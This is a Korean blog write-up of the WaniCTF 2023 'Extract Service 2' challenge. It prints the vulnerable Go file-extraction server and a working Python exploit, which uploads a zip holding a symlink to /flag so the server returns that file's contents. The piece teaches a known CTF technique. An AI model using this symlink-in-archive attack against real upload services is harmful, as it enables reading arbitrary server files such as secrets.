본문 바로가기
CTF

[WaniCTF 2023] Extract Service 2

by skyepodium 2023. 5. 6.

1. 개요

심볼릭 링크 문제

 

2. 분석

ExtractFile 함수에서 압축을 해제하고 있고, 이때 심볼링 링크가 걸려 있으면 /flag의 파일의 내용이 노출될 수 있습니다.

package main

import (
	"net/http"
	"os"
	"os/exec"
	"path/filepath"
	"regexp"

	"github.com/gin-gonic/gin"
	"github.com/google/uuid"
)

func main() {
	r := gin.Default()
	r.LoadHTMLGlob("templates/*")

	r.MaxMultipartMemory = 1 << 20 // 1MiB, to prevent DoS

	r.GET("/", func(c *gin.Context) {
		c.HTML(http.StatusOK, "index.html", gin.H{
			"result": "",
		})
	})

	r.POST("/", func(c *gin.Context) {
		baseDir := filepath.Join("/tmp", uuid.NewString()) // ex. /tmp/02050a65-8ae8-4b50-87ea-87b3483aab1e
		zipPath := baseDir + ".zip"                        // ex. /tmp/02050a65-8ae8-4b50-87ea-87b3483aab1e.zip

		file, err := c.FormFile("file")
		if err != nil {
			c.HTML(http.StatusOK, "index.html", gin.H{
				"result": "Error : " + err.Error(),
			})
			return
		}

		// patched
		extractTarget := ""
		targetParam := c.PostForm("target")
		if targetParam == "" {
			c.HTML(http.StatusOK, "index.html", gin.H{
				"result": "Error : target is required",
			})
			return
		}
		if targetParam == "docx" {
			extractTarget = "word/document.xml"
		} else if targetParam == "xlsx" {
			extractTarget = "xl/sharedStrings.xml"
		} else if targetParam == "pptx" {
			extractTarget = "ppt/slides/slide1.xml"
		} else {
			c.HTML(http.StatusOK, "index.html", gin.H{
				"result": "Error : target is invalid",
			})
			return
		}

		if err := os.MkdirAll(baseDir, 0777); err != nil {
			c.HTML(http.StatusOK, "index.html", gin.H{
				"result": "Error : " + err.Error(),
			})
			return
		}

		if err := c.SaveUploadedFile(file, zipPath); err != nil {
			c.HTML(http.StatusOK, "index.html", gin.H{
				"result": "Error : " + err.Error(),
			})
			return
		}

		if err := ExtractFile(zipPath, baseDir); err != nil {
			c.HTML(http.StatusOK, "index.html", gin.H{
				"result": "Error : " + err.Error(),
			})
			return
		}

		result, err := ExtractContent(baseDir, extractTarget)
		if err != nil {
			c.HTML(http.StatusOK, "index.html", gin.H{
				"result": "Error : " + err.Error(),
			})
			return
		}

		c.HTML(http.StatusOK, "index.html", gin.H{
			"result": result,
		})
	})

	if err := r.Run(":8080"); err != nil {
		panic(err)
	}
}

func ExtractFile(zipPath, baseDir string) error {
	if err := exec.Command("unzip", zipPath, "-d", baseDir).Run(); err != nil {
		return err
	}
	return nil
}

func ExtractContent(baseDir, extractTarget string) (string, error) {
	raw, err := os.ReadFile(filepath.Join(baseDir, extractTarget))
	if err != nil {
		return "", err
	}

	removeXmlTag := regexp.MustCompile("<.*?>")
	resultXmlTagRemoved := removeXmlTag.ReplaceAllString(string(raw), "")
	removeNewLine := regexp.MustCompile(`\r?\n`)
	resultNewLineRemoved := removeNewLine.ReplaceAllString(resultXmlTagRemoved, "")
	return resultNewLineRemoved, nil
}

 

3. exploit

import os
import requests
import re

def load_docx() -> bytes:
    os.system('ln -s /flag word/document.xml')
    os.system('zip --symlinks -r sample.zip word/document.xml')

    docx = open('./sample.zip', 'rb')
    return docx


def get_flag() -> str:
    files = {
        'file': load_docx()
    }
    data = {  
        'target': 'docx',
    }
    result = requests.post("https://extract2-web.wanictf.org/", files=files, data=data)
    return result.text


if __name__ == "__main__":
    html_str = get_flag()
    pattern = re.compile(r'FLAG{.*}')
    flag = pattern.findall(html_str)[0]
    print('flag', flag)

 

'CTF' 카테고리의 다른 글

[WaniCTF 2023] Screen shot  (0) 2023.05.10
[WaniCTF 2023] Prompt  (0) 2023.05.07
[WaniCTF 2023] Extract Service 1  (0) 2023.05.06
[WaniCTF 2023] netcat  (0) 2023.05.06
[WaniCTF 2023] 64bps  (0) 2023.05.05